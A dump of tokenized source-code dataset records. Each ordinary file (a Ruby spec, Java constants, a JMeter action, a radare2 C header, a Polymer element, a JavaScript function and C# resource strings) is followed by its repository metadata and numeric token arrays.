expect(decorator.uatest_status).to eq(:success)
end
end
context 'when User Acceptance Tests have failed' do
let(:uatest) { Uatest.new(success: false) }
it 'returns :failure' do
expect(decorator.uatest_status).to eq(:failure)
end
end
context 'when User Acceptance Tests are missing' do
it 'returns nil' do
expect(decorator.uatest_status).to be nil
end
end
end
describe '#summary_status' do
context 'when status of deploys, builds, and QA submission are success' do
let(:builds) { { 'frontend' => Build.new(success: true) } }
let(:deploys) { [Deploy.new(correct: true)] }
let(:qa_submission) { QaSubmission.new(accepted: true) }
it 'returns :success' do
expect(decorator.summary_status).to eq(:success)
end
end
context 'when any status of deploys, builds, or QA submission is failed' do
let(:builds) { { 'frontend' => Build.new(success: true) } }
let(:deploys) { [Deploy.new(correct: true)] }
let(:qa_submission) { QaSubmission.new(accepted: false) }
it 'returns :failure' do
expect(decorator.summary_status).to eq(:failure)
end
end
context 'when no status is a failure but at least one is a warning' do
let(:builds) { { 'frontend' => Build.new } }
let(:deploys) { [Deploy.new(correct: true)] }
let(:qa_submission) { QaSubmission.new(accepted: true) }
it 'returns nil' do
expect(decorator.summary_status).to be(nil)
end
end
end
describe '#approved?' do
context 'when all tickets are approved' do
let(:tickets) {
[instance_double(Ticket, approved?: true),
instance_double(Ticket, approved?: true)]
}
it 'is true' do
expect(decorator.approved?).to eq(true)
end
end
context 'when no tickets are approved' do
let(:tickets) {
[instance_double(Ticket, approved?: false),
instance_double(Ticket, approved?: false)]
}
it 'is false' do
expect(decorator.approved?).to eq(false)
end
end
context 'when some tickets are approved' do
let(:tickets) {
[instance_double(Ticket, approved?: true),
instance_double(Ticket, approved?: false)]
}
it 'is false' do
expect(decorator.approved?).to eq(false)
end
end
context 'when there are no tickets' do
let(:tickets) { [] }
it 'is false' do
expect(decorator.approved?).to eq(false)
end
end
end
end
| iainbeeston/shipment_tracker | spec/decorators/feature_review_with_statuses_spec.rb | Ruby | bsd-3-clause | 7,150 | [
30522,
5478,
1005,
15168,
1035,
2393,
2121,
1005,
12667,
5051,
2278,
1012,
6235,
3444,
2890,
8584,
24415,
9153,
5809,
2229,
2079,
2292,
1006,
1024,
9735,
1007,
1063,
1031,
1033,
1065,
2292,
1006,
1024,
16473,
1007,
1063,
1063,
1065,
1065,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package org.nwnx.nwnx2.jvm.constants;
/**
* This class contains all unique constants beginning with "CREATURE".
* Non-distinct keys are filtered; only the LAST appearing was
* kept.
*/
public final class Creature {
private Creature() {}
public final static int MODEL_TYPE_NONE = 0;
public final static int MODEL_TYPE_SKIN = 1;
public final static int MODEL_TYPE_TATTOO = 2;
public final static int MODEL_TYPE_UNDEAD = 255;
public final static int PART_BELT = 8;
public final static int PART_HEAD = 20;
public final static int PART_LEFT_BICEP = 13;
public final static int PART_LEFT_FOOT = 1;
public final static int PART_LEFT_FOREARM = 11;
public final static int PART_LEFT_HAND = 17;
public final static int PART_LEFT_SHIN = 3;
public final static int PART_LEFT_SHOULDER = 15;
public final static int PART_LEFT_THIGH = 4;
public final static int PART_NECK = 9;
public final static int PART_PELVIS = 6;
public final static int PART_RIGHT_BICEP = 12;
public final static int PART_RIGHT_FOOT = 0;
public final static int PART_RIGHT_FOREARM = 10;
public final static int PART_RIGHT_HAND = 16;
public final static int PART_RIGHT_SHIN = 2;
public final static int PART_RIGHT_SHOULDER = 14;
public final static int PART_RIGHT_THIGH = 5;
public final static int PART_TORSO = 7;
public final static int SIZE_HUGE = 5;
public final static int SIZE_INVALID = 0;
public final static int SIZE_LARGE = 4;
public final static int SIZE_MEDIUM = 3;
public final static int SIZE_SMALL = 2;
public final static int SIZE_TINY = 1;
public final static int TAIL_TYPE_BONE = 2;
public final static int TAIL_TYPE_DEVIL = 3;
public final static int TAIL_TYPE_LIZARD = 1;
public final static int TAIL_TYPE_NONE = 0;
public final static int TYPE_CLASS = 2;
public final static int TYPE_DOES_NOT_HAVE_SPELL_EFFECT = 6;
public final static int TYPE_HAS_SPELL_EFFECT = 5;
public final static int TYPE_IS_ALIVE = 4;
public final static int TYPE_PERCEPTION = 7;
public final static int TYPE_PLAYER_CHAR = 1;
public final static int TYPE_RACIAL_TYPE = 0;
public final static int TYPE_REPUTATION = 3;
public final static int WING_TYPE_ANGEL = 2;
public final static int WING_TYPE_BAT = 3;
public final static int WING_TYPE_BIRD = 6;
public final static int WING_TYPE_BUTTERFLY = 5;
public final static int WING_TYPE_DEMON = 1;
public final static int WING_TYPE_DRAGON = 4;
public final static int WING_TYPE_NONE = 0;
public static String nameOf(int value) {
if (value == 0) return "Creature.MODEL_TYPE_NONE";
if (value == 1) return "Creature.MODEL_TYPE_SKIN";
if (value == 2) return "Creature.MODEL_TYPE_TATTOO";
if (value == 255) return "Creature.MODEL_TYPE_UNDEAD";
if (value == 8) return "Creature.PART_BELT";
if (value == 20) return "Creature.PART_HEAD";
if (value == 13) return "Creature.PART_LEFT_BICEP";
if (value == 1) return "Creature.PART_LEFT_FOOT";
if (value == 11) return "Creature.PART_LEFT_FOREARM";
if (value == 17) return "Creature.PART_LEFT_HAND";
if (value == 3) return "Creature.PART_LEFT_SHIN";
if (value == 15) return "Creature.PART_LEFT_SHOULDER";
if (value == 4) return "Creature.PART_LEFT_THIGH";
if (value == 9) return "Creature.PART_NECK";
if (value == 6) return "Creature.PART_PELVIS";
if (value == 12) return "Creature.PART_RIGHT_BICEP";
if (value == 0) return "Creature.PART_RIGHT_FOOT";
if (value == 10) return "Creature.PART_RIGHT_FOREARM";
if (value == 16) return "Creature.PART_RIGHT_HAND";
if (value == 2) return "Creature.PART_RIGHT_SHIN";
if (value == 14) return "Creature.PART_RIGHT_SHOULDER";
if (value == 5) return "Creature.PART_RIGHT_THIGH";
if (value == 7) return "Creature.PART_TORSO";
if (value == 5) return "Creature.SIZE_HUGE";
if (value == 0) return "Creature.SIZE_INVALID";
if (value == 4) return "Creature.SIZE_LARGE";
if (value == 3) return "Creature.SIZE_MEDIUM";
if (value == 2) return "Creature.SIZE_SMALL";
if (value == 1) return "Creature.SIZE_TINY";
if (value == 2) return "Creature.TAIL_TYPE_BONE";
if (value == 3) return "Creature.TAIL_TYPE_DEVIL";
if (value == 1) return "Creature.TAIL_TYPE_LIZARD";
if (value == 0) return "Creature.TAIL_TYPE_NONE";
if (value == 2) return "Creature.TYPE_CLASS";
if (value == 6) return "Creature.TYPE_DOES_NOT_HAVE_SPELL_EFFECT";
if (value == 5) return "Creature.TYPE_HAS_SPELL_EFFECT";
if (value == 4) return "Creature.TYPE_IS_ALIVE";
if (value == 7) return "Creature.TYPE_PERCEPTION";
if (value == 1) return "Creature.TYPE_PLAYER_CHAR";
if (value == 0) return "Creature.TYPE_RACIAL_TYPE";
if (value == 3) return "Creature.TYPE_REPUTATION";
if (value == 2) return "Creature.WING_TYPE_ANGEL";
if (value == 3) return "Creature.WING_TYPE_BAT";
if (value == 6) return "Creature.WING_TYPE_BIRD";
if (value == 5) return "Creature.WING_TYPE_BUTTERFLY";
if (value == 1) return "Creature.WING_TYPE_DEMON";
if (value == 4) return "Creature.WING_TYPE_DRAGON";
if (value == 0) return "Creature.WING_TYPE_NONE";
return "Creature.(not found: " + value + ")";
}
public static String nameOf(float value) {
return "Creature.(not found: " + value + ")";
}
public static String nameOf(String value) {
return "Creature.(not found: " + value + ")";
}
}
| Baaleos/nwnx2-linux | plugins/jvm/java/src/org/nwnx/nwnx2/jvm/constants/Creature.java | Java | gpl-2.0 | 5,415 | [
30522,
7427,
8917,
1012,
22064,
26807,
1012,
22064,
26807,
2475,
1012,
1046,
2615,
2213,
1012,
5377,
2015,
1025,
1013,
1008,
1008,
1008,
2023,
2465,
3397,
2035,
4310,
5377,
2015,
2927,
2007,
1000,
6492,
1000,
1012,
1008,
2512,
1011,
5664,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to you under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.jmeter.gui;
import java.awt.event.ActionEvent;
import java.awt.event.KeyEvent;
import java.util.HashSet;
import java.util.Set;
import javax.swing.JMenu;
import javax.swing.JMenuItem;
import javax.swing.MenuElement;
import org.apache.jmeter.exceptions.IllegalUserActionException;
import org.apache.jmeter.gui.action.AbstractAction;
import org.apache.jmeter.gui.action.ActionNames;
import org.apache.jmeter.gui.action.ActionRouter;
import org.apache.jmeter.gui.plugin.MenuCreator;
import org.apache.jmeter.util.JMeterUtils;
public class HtmlReportAction extends AbstractAction implements MenuCreator {
private static Set<String> commands = new HashSet<>();
private HtmlReportUI htmlReportPanel;
static {
commands.add(ActionNames.HTML_REPORT);
}
public HtmlReportAction() {
super();
}
@Override
public void doAction(ActionEvent e) throws IllegalUserActionException {
htmlReportPanel = new HtmlReportUI();
htmlReportPanel.showInputDialog(getParentFrame(e));
}
@Override
public Set<String> getActionNames() {
return commands;
}
@Override
public JMenuItem[] getMenuItemsAtLocation(MENU_LOCATION location) {
if (location != MENU_LOCATION.TOOLS) {
return new JMenuItem[0];
}
// Use the action name as resource key because the action name is used by JMeterMenuBar too when changing languages.
JMenuItem menuItem = new JMenuItem(JMeterUtils.getResString(ActionNames.HTML_REPORT), KeyEvent.VK_UNDEFINED);
menuItem.setName(ActionNames.HTML_REPORT);
menuItem.setActionCommand(ActionNames.HTML_REPORT);
menuItem.setAccelerator(null);
menuItem.addActionListener(ActionRouter.getInstance());
return new JMenuItem[] { menuItem };
}
@Override
public JMenu[] getTopLevelMenus() {
return new JMenu[0];
}
@Override
public boolean localeChanged(MenuElement menu) {
return false;
}
@Override
public void localeChanged() {
// NOOP
}
public HtmlReportUI getHtmlReportPanel() {
return htmlReportPanel;
}
}
| apache/jmeter | src/core/src/main/java/org/apache/jmeter/gui/HtmlReportAction.java | Java | apache-2.0 | 2,972 | [
30522,
1013,
1008,
1008,
7000,
2000,
1996,
15895,
4007,
3192,
1006,
2004,
2546,
1007,
2104,
2028,
2030,
2062,
1008,
12130,
6105,
10540,
1012,
2156,
1996,
5060,
5371,
5500,
2007,
1008,
2023,
2147,
2005,
3176,
2592,
4953,
9385,
6095,
1012,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#ifndef R_PKCS7_H
#define R_PKCS7_H
#ifdef __cplusplus
extern "C" {
#endif
typedef struct r_pkcs7_certificaterevocationlists_t {
ut32 length;
RX509CertificateRevocationList **elements;
} RPKCS7CertificateRevocationLists;
typedef struct r_pkcs7_extendedcertificatesandcertificates_t {
ut32 length;
RX509Certificate **elements;
} RPKCS7ExtendedCertificatesAndCertificates;
typedef struct r_pkcs7_digestalgorithmidentifiers_t {
ut32 length;
RX509AlgorithmIdentifier **elements;
} RPKCS7DigestAlgorithmIdentifiers;
typedef struct r_pkcs7_contentinfo_t {
RASN1String *contentType; //OID
RASN1Binary *content; // optional. oid structure definition
} RPKCS7ContentInfo;
typedef struct r_pkcs7_issuerandserialnumber_t {
RX509Name issuer;
RASN1Binary *serialNumber;
} RPKCS7IssuerAndSerialNumber;
typedef struct r_pkcs7_attribute_t {
RASN1String *oid; //OID
RASN1Binary *data; // optional. oid structure definition
} RPKCS7Attribute;
typedef struct r_pkcs7_attributes_t {
ut32 length;
RPKCS7Attribute **elements;
} RPKCS7Attributes;
typedef struct r_pkcs7_signerinfo_t {
ut32 version;
RPKCS7IssuerAndSerialNumber issuerAndSerialNumber;
RX509AlgorithmIdentifier digestAlgorithm;
RPKCS7Attributes authenticatedAttributes; //Optional
RX509AlgorithmIdentifier digestEncryptionAlgorithm;
RASN1Binary *encryptedDigest;
RPKCS7Attributes unauthenticatedAttributes; //Optional
} RPKCS7SignerInfo;
typedef struct r_pkcs7_signerinfos_t {
ut32 length;
RPKCS7SignerInfo **elements;
} RPKCS7SignerInfos;
typedef struct r_pkcs7_signeddata_t {
ut32 version;
RPKCS7DigestAlgorithmIdentifiers digestAlgorithms;
RPKCS7ContentInfo contentInfo;
RPKCS7ExtendedCertificatesAndCertificates certificates; //Optional
RPKCS7CertificateRevocationLists crls; //Optional
RPKCS7SignerInfos signerinfos;
} RPKCS7SignedData;
typedef struct r_pkcs7_container_t {
RASN1String *contentType;
RPKCS7SignedData signedData;
} RCMS;
R_API RCMS *r_pkcs7_parse_cms(const ut8 *buffer, ut32 length);
R_API void r_pkcs7_free_cms(RCMS* container);
R_API char *r_pkcs7_cms_to_string(RCMS* container);
R_API RJSVar *r_pkcs7_cms_json(RCMS* container);
#ifdef __cplusplus
}
#endif
#endif /* R_PKCS7_H */
| kamou/radare2 | libr/include/r_util/r_pkcs7.h | C | lgpl-3.0 | 2,190 | [
30522,
1001,
2065,
13629,
2546,
1054,
1035,
1052,
2243,
6169,
2581,
1035,
1044,
1001,
9375,
1054,
1035,
1052,
2243,
6169,
2581,
1035,
1044,
1001,
2065,
3207,
2546,
1035,
1035,
18133,
7393,
24759,
2271,
4654,
16451,
1000,
1039,
1000,
1063,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<link rel="import" href="../../polymer/polymer-element.html">
<link rel="import" href="../overlay-mixin.html">
<dom-module id="sample-overlay">
<template>
<style>
:host {
background: #ddd;
display: block;
height: 200px;
position: absolute;
width: 200px;
}
:host(:focus) {
border: 2px solid dodgerblue;
}
</style>
Hello!!!
</template>
<script>
class SampleOverlay extends OverlayMixin(Polymer.Element) {
static get is() {return 'sample-overlay';}
}
customElements.define(SampleOverlay.is, SampleOverlay);
</script>
</dom-module> | sharedlabs/overlay-container | demo/sample-overlay.html | HTML | mit | 648 | [
30522,
1026,
4957,
2128,
2140,
1027,
1000,
12324,
1000,
17850,
12879,
1027,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
17782,
1013,
17782,
1011,
5783,
1012,
16129,
1000,
1028,
1026,
4957,
2128,
2140,
1027,
1000,
12324,
1000,
17850,
12879,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
var arrayOfInts = [1, 10, -5, 1, -100];
function maxProduct(arr) {
var smallest = 0;
var almostSmallest = 0;
var largest = 0;
var second = 0;
var third = 0;
for(var i = 0; i < arr.length; i++ ) {
if(arr[i] > largest){
third = second
second = largest
largest = arr[i]
} else if(arr[i] > second) {
third = second
second = arr[i]
} else if(arr[i] > third){
third = arr[i]
} else if( arr[i] < 0) {
if(arr[i] < smallest) {
almostSmallest = smallest
smallest = arr[i];
} else {
if( arr[i] < almostSmallest) {
almostSmallest = arr[i]
}
}
}
}
if(smallest * almostSmallest > second * third) {
return largest * almostSmallest * smallest
}
return largest * second * third
}
maxProduct(arrayOfInts) | 15chrjef/Interview-Cake | 3.js | JavaScript | mit | 901 | [
30522,
13075,
9140,
11253,
18447,
2015,
1027,
1031,
1015,
1010,
2184,
1010,
1011,
1019,
1010,
1015,
1010,
1011,
2531,
1033,
1025,
3853,
4098,
21572,
8566,
6593,
1006,
12098,
2099,
1007,
1063,
13075,
10479,
1027,
1014,
1025,
13075,
2471,
262... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.18051
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace BrightstarDB.Polaris {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Strings {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Strings() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BrightstarDB.Polaris.Strings", typeof(Strings).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to Polaris Management Tool for BrightstarDB.
/// </summary>
internal static string AboutHeading {
get {
return ResourceManager.GetString("AboutHeading", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Release: {0}, Build: {1}
///
///Copyright (c) 2013 Khalil Ahmed, Graham Moore.
///
///Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
/// [rest of string was truncated]";.
/// </summary>
internal static string AboutInfo {
get {
return ResourceManager.GetString("AboutInfo", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to This application makes use of the following open-source components:
///
///dotNetRDF (http://www.dotnetrdf.org/)
///------------------------------------------
///Copyright (c) 2011 Rob Vesse
///
///Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Softwa [rest of string was truncated]";.
/// </summary>
internal static string Acknowledgements {
get {
return ResourceManager.GetString("Acknowledgements", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Are you sure you want to delete the store '{0}' from the server ?
///This operation cannot be undone!.
/// </summary>
internal static string DeleteStoreDialogContent {
get {
return ResourceManager.GetString("DeleteStoreDialogContent", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Delete Store ?.
/// </summary>
internal static string DeleteStoreDialogTitle {
get {
return ResourceManager.GetString("DeleteStoreDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Select the root folder for the Brightstar service. This folder will contain a subfolder for each store created within the service..
/// </summary>
internal static string DirectorySelectorDescription {
get {
return ResourceManager.GetString("DirectorySelectorDescription", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Are you sure you want to permanently remove the server connection '{0}' from the server list ?.
/// </summary>
internal static string DisconnectServerDialogContent {
get {
return ResourceManager.GetString("DisconnectServerDialogContent", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Remove Server from Server List ?.
/// </summary>
internal static string DisconnectServerDialogTitle {
get {
return ResourceManager.GetString("DisconnectServerDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The export of data from store '{0}' has completed successfully. The data can be found on the BrightstarDB server under the import directory..
/// </summary>
internal static string ExportCompletedDialogMsg {
get {
return ResourceManager.GetString("ExportCompletedDialogMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Export Completed.
/// </summary>
internal static string ExportCompletedDialogTitle {
get {
return ResourceManager.GetString("ExportCompletedDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The export of data from store '{0}' failed. Check the export tab for details..
/// </summary>
internal static string ExportFailedDialogMsg {
get {
return ResourceManager.GetString("ExportFailedDialogMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Export Failed.
/// </summary>
internal static string ExportFailedDialogTitle {
get {
return ResourceManager.GetString("ExportFailedDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0} Export.
/// </summary>
internal static string ExportTabDefaultTitle {
get {
return ResourceManager.GetString("ExportTabDefaultTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An unexpected error prevented the export job from running..
/// </summary>
internal static string ExportUnexpectedErrorMsg {
get {
return ResourceManager.GetString("ExportUnexpectedErrorMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to NTriples (*.nt)|*.nt;*.nt.gz|NQuads (*.nq)|*.nq;*.nq.gz|RDF/XML (*.rdf)|*.rdf;*.rdf.gz|RDF/JSON (*.rj;*.json)|*.rj;*.json;*.rj.gz;*.json.gz|Notation3 (*.n3)|*.n3;*.n3.gz|Turtle (*.ttl)|*.ttl;*.ttl.gz|All Files(*.*)|*.*.
/// </summary>
internal static string FileSelectorOptions {
get {
return ResourceManager.GetString("FileSelectorOptions", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0} History.
/// </summary>
internal static string HistoryTabDefaultTitle {
get {
return ResourceManager.GetString("HistoryTabDefaultTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The import of data into store '{0}' has completed successfully..
/// </summary>
internal static string ImportCompletedDialogMsg {
get {
return ResourceManager.GetString("ImportCompletedDialogMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Import Completed.
/// </summary>
internal static string ImportCompletedDialogTitle {
get {
return ResourceManager.GetString("ImportCompletedDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The import of data into store '{0}' failed. Check the import tab for details..
/// </summary>
internal static string ImportFailedDialogMsg {
get {
return ResourceManager.GetString("ImportFailedDialogMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Import Failed.
/// </summary>
internal static string ImportFailedDialogTitle {
get {
return ResourceManager.GetString("ImportFailedDialogTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Cannot find import file '{0}'..
/// </summary>
internal static string ImportFileNotFound {
get {
return ResourceManager.GetString("ImportFileNotFound", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The file '{0}' is quite large (over 50MB).
///
///A local import may require a large amount of memory on this machine as well as a fast network connection to the server.
///If possible consider copying the file to the BrightstarDB server's import folder and using a Remote import job instead.
///
///Are you sure you want to attempt to import this file with a Local import job ?.
/// </summary>
internal static string ImportFileSizeWarningMsg {
get {
return ResourceManager.GetString("ImportFileSizeWarningMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to File Size Warning.
/// </summary>
internal static string ImportFileSizeWarningTitle {
get {
return ResourceManager.GetString("ImportFileSizeWarningTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The import file is too large to be processed in memory on the client. Please copy this file to the server and use a Remote import instead..
/// </summary>
internal static string ImportFileTooLarge {
get {
return ResourceManager.GetString("ImportFileTooLarge", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An older Polaris configuration file has been found. Do you want to import this existing configuration ? If you choose No, a new empty configuration will be created for you..
/// </summary>
internal static string ImportLegacyConfigurationMessage {
get {
